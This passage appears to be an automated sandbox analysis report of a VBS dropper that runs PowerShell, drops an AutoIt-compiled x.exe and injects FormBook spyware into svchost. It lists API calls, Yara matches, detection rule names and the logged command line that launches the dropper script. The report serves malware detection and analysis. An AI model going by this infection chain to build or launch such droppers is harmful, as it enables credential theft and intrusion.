Code function: 5_2_002C6D07 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

5_2_002C6D07

Source: C:\Users\user\AppData\Local\Temp\x.exe

5_2_002C6B0C

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 5_2_002B2B37 GetKeyboardState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

5_2_002B2B37

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 5_2_002DF7FF DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

5_2_002DF7FF

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 6.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2792972085.0000000004140000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2790772261.0000000002480000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2792864686.00000000040F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1907342293.0000000008270000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2793021859.0000000002880000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1902206416.0000000003DE0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1901321615.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2794868753.0000000005170000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 6812, type: MEMORYSTR

Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Binary is likely a compiled AutoIt script file

Source: powershell.exe, 00000003.00000002.1624571484.000001FB9215D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_7f6c08ea-e
Source: powershell.exe, 00000003.00000002.1624571484.000001FB9215D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: CSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_16fb908a-6
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: This is a third-party compiled AutoIt script.	5_2_00273D19
Source: x.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: x.exe, 00000005.00000000.1581761135.000000000031E000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_7663ace7-1
Source: x.exe, 00000005.00000000.1581761135.000000000031E000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: *SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_1554d834-d
Source: x.exe.3.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_c2be4650-1
Source: x.exe.3.dr	String found in binary or memory: CSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_16a560c2-5

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\x.exe

Jump to dropped file

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}			Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: XML HTTP HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F6D90F16-9C73-11D3-B32E-00C04F990BB4}			Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -File "C:\Temp\script.ps1"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -File "C:\Temp\script.ps1"			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_0042CB93 NtClose,	6_2_0042CB93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A735C0 NtCreateMutant,LdrInitializeThunk,	6_2_03A735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A72B60 NtClose,LdrInitializeThunk,	6_2_03A72B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A72DF0 NtQuerySystemInformation,LdrInitializeThunk,	6_2_03A72DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A72C70 NtFreeVirtualMemory,LdrInitializeThunk,	6_2_03A72C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A74340 NtSetContextThread,	6_2_03A74340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A73090 NtSetValueKey,	6_2_03A73090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A73010 NtOpenDirectoryObject,	6_2_03A73010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A74650 NtSuspendThread,	6_2_03A74650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A72BA0 NtEnumerateValueKey,	6_2_03A72BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A72B80 NtQueryInformationFile,	6_2_03A72B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A72BE0 NtQueryValueKey,	6_2_03A72BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A72BF0 NtAllocateVirtualMemory,	6_2_03A72BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A72AB0 NtWaitForSingleObject,	6_2_03A72AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A72AF0 NtWriteFile,	6_2_03A72AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A72AD0 NtReadFile,	6_2_03A72AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A739B0 NtGetContextThread,	6_2_03A739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A72FA0 NtQuerySection,	6_2_03A72FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A72FB0 NtResumeThread,	6_2_03A72FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A72F90 NtProtectVirtualMemory,	6_2_03A72F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A72FE0 NtCreateFile,	6_2_03A72FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A72F30 NtCreateSection,	6_2_03A72F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A72F60 NtCreateProcessEx,	6_2_03A72F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A72EA0 NtAdjustPrivilegesToken,	6_2_03A72EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A72E80 NtReadVirtualMemory,	6_2_03A72E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A72EE0 NtQueueApcThread,	6_2_03A72EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A72E30 NtWriteVirtualMemory,	6_2_03A72E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A72DB0 NtEnumerateKey,	6_2_03A72DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A72DD0 NtDelayExecution,	6_2_03A72DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A72D30 NtUnmapViewOfSection,	6_2_03A72D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A72D00 NtSetInformationFile,	6_2_03A72D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A72D10 NtMapViewOfSection,	6_2_03A72D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A73D10 NtOpenProcessToken,	6_2_03A73D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A73D70 NtOpenThread,	6_2_03A73D70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A72CA0 NtQueryInformationToken,	6_2_03A72CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A72CF0 NtOpenProcess,	6_2_03A72CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A72CC0 NtQueryVirtualMemory,	6_2_03A72CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A72C00 NtQueryInformationProcess,	6_2_03A72C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A72C60 NtCreateKey,	6_2_03A72C60

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 5_2_002B6606: CreateFileW,DeviceIoControl,CloseHandle,

5_2_002B6606

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 5_2_002AACC5 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

5_2_002AACC5

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 5_2_002B79D3 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

5_2_002B79D3

Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_0027E3B0	5_2_0027E3B0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_00283200	5_2_00283200
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_00283B70	5_2_00283B70
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_002A410F	5_2_002A410F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_002902A4	5_2_002902A4
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_002A038E	5_2_002A038E
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_002A467F	5_2_002A467F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_002906D9	5_2_002906D9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_002DAACE	5_2_002DAACE
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_002A4BEF	5_2_002A4BEF
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_0029CCC1	5_2_0029CCC1
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_00276F07	5_2_00276F07
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_0027AF50	5_2_0027AF50
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_0029B043	5_2_0029B043
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_0028B11F	5_2_0028B11F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_0029D1B9	5_2_0029D1B9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_002D31BC	5_2_002D31BC
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_0029123A	5_2_0029123A
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_002A724D	5_2_002A724D
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_002793F0	5_2_002793F0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_002B13CA	5_2_002B13CA
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_0028F563	5_2_0028F563
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_002796C0	5_2_002796C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_002BB6CC	5_2_002BB6CC
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_002777B0	5_2_002777B0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_002DF7FF	5_2_002DF7FF
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_002A79C9	5_2_002A79C9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_0028FA57	5_2_0028FA57
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_00279B60	5_2_00279B60
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_00277D19	5_2_00277D19
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_0028FE6F	5_2_0028FE6F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_00299ED0	5_2_00299ED0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_00277FA3	5_2_00277FA3
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_010C6390	5_2_010C6390
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_00418B23	6_2_00418B23
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_00401000	6_2_00401000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_0042F153	6_2_0042F153
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_00403180	6_2_00403180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_0041035A	6_2_0041035A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_00410363	6_2_00410363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_00401B68	6_2_00401B68
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_00401B70	6_2_00401B70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_00402C4D	6_2_00402C4D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_00402C50	6_2_00402C50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_00402490	6_2_00402490
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_00416D1E	6_2_00416D1E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_00416D23	6_2_00416D23
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_00410583	6_2_00410583
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_0040E583	6_2_0040E583
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_0040E6C7	6_2_0040E6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_0040E6D3	6_2_0040E6D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_00402780	6_2_00402780
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A8739A	6_2_03A8739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A4E3F0	6_2_03A4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03B003E6	6_2_03B003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AF132D	6_2_03AF132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2D34C	6_2_03A2D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AFA352	6_2_03AFA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A452A0	6_2_03A452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AE12ED	6_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A5B2C0	6_2_03A5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AE0274	6_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A4B1B0	6_2_03A4B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03B001AA	6_2_03B001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AF81CC	6_2_03AF81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A30100	6_2_03A30100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03ADA118	6_2_03ADA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A7516C	6_2_03A7516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2F172	6_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03B0B16B	6_2_03B0B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AC8158	6_2_03AC8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AF70E9	6_2_03AF70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AFF0E0	6_2_03AFF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AEF0CC	6_2_03AEF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A470C0	6_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AFF7B0	6_2_03AFF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A3C7C0	6_2_03A3C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A40770	6_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A64750	6_2_03A64750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A5C6E0	6_2_03A5C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AF16CC	6_2_03AF16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03ADD5B0	6_2_03ADD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03B00591	6_2_03B00591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A40535	6_2_03A40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AF7571	6_2_03AF7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AEE4F6	6_2_03AEE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AFF43F	6_2_03AFF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A31460	6_2_03A31460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AF2446	6_2_03AF2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A5FB80	6_2_03A5FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB5BF0	6_2_03AB5BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A7DBF9	6_2_03A7DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AF6BD7	6_2_03AF6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AFFB76	6_2_03AFFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AFAB40	6_2_03AFAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03ADDAAC	6_2_03ADDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A85AA0	6_2_03A85AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A3EA80	6_2_03A3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AEDAC6	6_2_03AEDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB3A6C	6_2_03AB3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AFFA49	6_2_03AFFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AF7A46	6_2_03AF7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A429A0	6_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03B0A9A6	6_2_03B0A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A56962	6_2_03A56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A49950	6_2_03A49950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A5B950	6_2_03A5B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A268B8	6_2_03A268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A438E0	6_2_03A438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A6E8F0	6_2_03A6E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AAD800	6_2_03AAD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A42840	6_2_03A42840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A4A840	6_2_03A4A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AFFFB1	6_2_03AFFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A41F92	6_2_03A41F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A4CFE0	6_2_03A4CFE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A32FC8	6_2_03A32FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A82F28	6_2_03A82F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A60F30	6_2_03A60F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AFFF09	6_2_03AFFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB4F40	6_2_03AB4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A49EB0	6_2_03A49EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A52E90	6_2_03A52E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AFCE93	6_2_03AFCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AFEEDB	6_2_03AFEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AFEE26	6_2_03AFEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A40E59	6_2_03A40E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A58DBF	6_2_03A58DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A3ADE0	6_2_03A3ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A5FDC0	6_2_03A5FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A4AD00	6_2_03A4AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AF7D73	6_2_03AF7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A43D40	6_2_03A43D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AF1D5A	6_2_03AF1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AE0CB5	6_2_03AE0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A30CF2	6_2_03A30CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AFFCF2	6_2_03AFFCF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB9C32	6_2_03AB9C32
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A40C00	6_2_03A40C00

Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03AAEA12 appears 86 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03A2B970 appears 268 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03A87E54 appears 96 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03ABF290 appears 105 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03A75130 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: String function: 00296AC0 appears 42 times
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: String function: 0029F8A0 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: String function: 0028EC2F appears 68 times

Source: ADtours0121025.Vbs.vbs

Initial sample: Strings found which are bigger than 50

Source: Process Memory Space: powershell.exe PID: 6812, type: MEMORYSTR

Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winVBS@12/8@8/7

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 5_2_002BCE7A GetLastError,FormatMessageW,

5_2_002BCE7A

Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_002AAB84 AdjustTokenPrivileges,CloseHandle,		5_2_002AAB84
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_002AB134 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		5_2_002AB134

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 5_2_002BE1FD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

5_2_002BE1FD

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 5_2_002B6532 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,__wsplitpath,_wcscat,CloseHandle,

5_2_002B6532

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 5_2_002CC18C CoInitializeSecurity,_memset,_memset,CoCreateInstanceEx,CoTaskMemFree,CoSetProxyBlanket,

5_2_002CC18C

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 5_2_0027406B CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

5_2_0027406B

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\SMG411[1]

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:880:120:WilError_03

Source: C:\Windows\System32\wscript.exe

File created: C:\Temp\script.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ADtours0121025.Vbs.vbs"

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

